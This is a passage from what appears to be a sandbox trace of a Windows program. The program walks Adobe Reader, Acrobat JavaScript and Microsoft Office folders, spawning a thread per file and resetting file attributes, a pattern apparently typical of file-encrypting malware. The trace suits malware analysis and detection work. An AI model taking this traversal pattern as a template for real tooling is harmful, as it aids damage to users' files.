files\\adobe\\helpcfg\\ro_ro\\reader_10.0.helpcfg")) returned 0x20 [0065.340] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1250 os_tid = 0x14bc [0065.344] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ru_ru\\reader_10.0.helpcfg")) returned 0x20 [0065.344] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1251 os_tid = 0x14c0 [0065.344] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sk_sk\\reader_10.0.helpcfg")) returned 0x20 [0065.344] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1252 os_tid = 0x14c4 [0065.346] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sl_si\\reader_10.0.helpcfg")) returned 0x20 [0065.346] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1253 os_tid = 0x14c8 [0065.346] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\tr_tr\\reader_10.0.helpcfg")) returned 0x20 [0065.346] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1254 os_tid = 0x14cc [0065.347] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nb_no\\reader_10.0.helpcfg")) returned 0x20 [0065.347] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1255 os_tid = 0x14d0 [0065.348] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pl_pl\\reader_10.0.helpcfg")) returned 0x20 [0065.348] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1256 os_tid = 0x14d4 [0065.349] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pt_br\\reader_10.0.helpcfg")) returned 0x20 [0065.349] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1257 os_tid = 0x14d8 [0065.349] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sv_se\\reader_10.0.helpcfg")) returned 0x20 [0065.349] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1258 os_tid = 0x14dc [0065.351] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec5688 [0065.351] wcscpy (in: _Dest=0x5ec5688, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP" [0065.351] wcscat (in: _Dest=0x5ec5688, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\" [0065.351] wcscat (in: _Dest=0x5ec5688, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*" [0065.351] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e06f08 [0065.351] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x12e06f08) Thread: id = 1259 os_tid = 0x14e0 [0065.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43e1b8 [0065.352] wcscpy (in: _Dest=0x43e1b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE" [0065.352] wcscat (in: _Dest=0x43e1b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\" [0065.352] wcscat (in: _Dest=0x43e1b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*" [0065.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e05960 [0065.352] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x12e05960) Thread: id = 1260 os_tid = 0x14e4 [0065.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43e308 [0065.352] wcscpy (in: _Dest=0x43e308, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV" [0065.352] wcscat (in: _Dest=0x43e308, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\" [0065.352] wcscat (in: _Dest=0x43e308, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*" [0065.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e06300 [0065.352] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x12e06300) Thread: id = 1261 os_tid = 0x14e8 [0065.353] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43dfc0 [0065.353] wcscpy (in: _Dest=0x43dfc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN" [0065.353] wcscat (in: _Dest=0x43dfc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\" [0065.353] wcscat (in: _Dest=0x43dfc0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*" [0065.353] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04620 [0065.353] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x12e04620) Thread: id = 1262 os_tid = 0x14ec [0065.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43e260 [0065.354] wcscpy (in: _Dest=0x43e260, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL" [0065.354] wcscat (in: _Dest=0x43e260, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\" [0065.354] wcscat (in: _Dest=0x43e260, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*" [0065.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e03a18 [0065.354] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x12e03a18) Thread: id = 1263 os_tid = 0x14f0 [0065.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43eb90 [0065.354] wcscpy (in: _Dest=0x43eb90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM" [0065.354] wcscat (in: _Dest=0x43eb90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\" [0065.355] wcscat (in: _Dest=0x43eb90, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*" [0065.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04888 [0065.355] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x12e04888) Thread: id = 1264 os_tid = 0x14f4 [0065.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43dbd0 [0065.355] wcscpy (in: _Dest=0x43dbd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS" [0065.355] wcscat (in: _Dest=0x43dbd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\" [0065.355] wcscat (in: _Dest=0x43dbd0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*" [0065.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e043b8 [0065.356] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x12e043b8) Thread: id = 1265 os_tid = 0x14f8 [0065.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43eae8 [0065.356] wcscpy (in: _Dest=0x43eae8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY" [0065.356] wcscat (in: _Dest=0x43eae8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\" [0065.356] wcscat (in: _Dest=0x43eae8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*" [0065.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04150 [0065.356] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x12e04150) Thread: id = 1266 os_tid = 0x14fc [0065.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43ea40 [0065.356] wcscpy (in: _Dest=0x43ea40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV" [0065.356] wcscat (in: _Dest=0x43ea40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\" [0065.356] wcscat (in: _Dest=0x43ea40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*" [0065.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e03ee8 [0065.357] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x12e03ee8) Thread: id = 1267 os_tid = 0x1500 [0065.358] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43e998 [0065.358] wcscpy (in: _Dest=0x43e998, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR" [0065.358] wcscat (in: _Dest=0x43e998, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\" [0065.358] wcscat (in: _Dest=0x43e998, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*" [0065.358] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e03c80 [0065.358] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x12e03c80) Thread: id = 1268 os_tid = 0x1504 [0065.359] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43e8f0 [0065.359] wcscpy (in: _Dest=0x43e8f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR" [0065.359] wcscat (in: _Dest=0x43e8f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\" [0065.359] wcscat (in: _Dest=0x43e8f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*" [0065.359] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e05e30 [0065.359] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x12e05e30) Thread: id = 1269 os_tid = 0x1508 [0065.359] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d898 [0065.359] wcscpy (in: _Dest=0x40d898, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0065.359] wcscat (in: _Dest=0x40d898, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0065.359] wcscat (in: _Dest=0x40d898, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*" [0065.359] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f2c8 [0065.359] FindFirstFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x42f2c8) Thread: id = 1270 os_tid = 0x150c [0065.360] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js")) returned 0x2020 [0065.360] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", dwFileAttributes=0x20) Thread: id = 1271 os_tid = 0x1510 [0065.362] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js")) returned 0x2020 [0065.362] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js", dwFileAttributes=0x20) Thread: id = 1272 os_tid = 0x1514 [0065.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 0x20 [0065.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", dwFileAttributes=0x20) Thread: id = 1273 os_tid = 0x1518 [0065.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm")) Thread: id = 1274 os_tid = 0x151c [0065.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl")) Thread: id = 1275 os_tid = 0x1520 [0065.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp")) Thread: id = 1276 os_tid = 0x1524 [0065.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif")) returned 0x20 [0065.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF", dwFileAttributes=0x20) Thread: id = 1277 os_tid = 0x1528 [0065.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif")) Thread: id = 1278 os_tid = 0x152c [0065.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif")) Thread: id = 1279 os_tid = 0x1530 [0065.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif")) Thread: id = 1280 os_tid = 0x1534 [0065.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif")) Thread: id = 1281 os_tid = 0x1538 [0065.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif")) Thread: id = 1282 os_tid = 0x153c [0065.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif")) Thread: id = 1283 os_tid = 0x1540 [0065.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif")) Thread: id = 1284 os_tid = 0x1544 [0065.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif")) Thread: id = 1285 os_tid = 0x1548 [0065.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif")) Thread: id = 1286 os_tid = 0x154c [0065.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif")) Thread: id = 1287 os_tid = 0x1550 [0065.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif")) Thread: id = 1288 os_tid = 0x1554 [0065.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif")) Thread: id = 1289 os_tid = 0x1558 [0065.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif")) Thread: id = 1290 os_tid = 0x155c [0065.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif")) Thread: id = 1291 os_tid = 0x1560 [0065.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif")) Thread: id = 1292 os_tid = 0x1564 [0065.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif")) Thread: id = 1293 os_tid = 0x1568 [0065.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" (normalized: "c:\\program 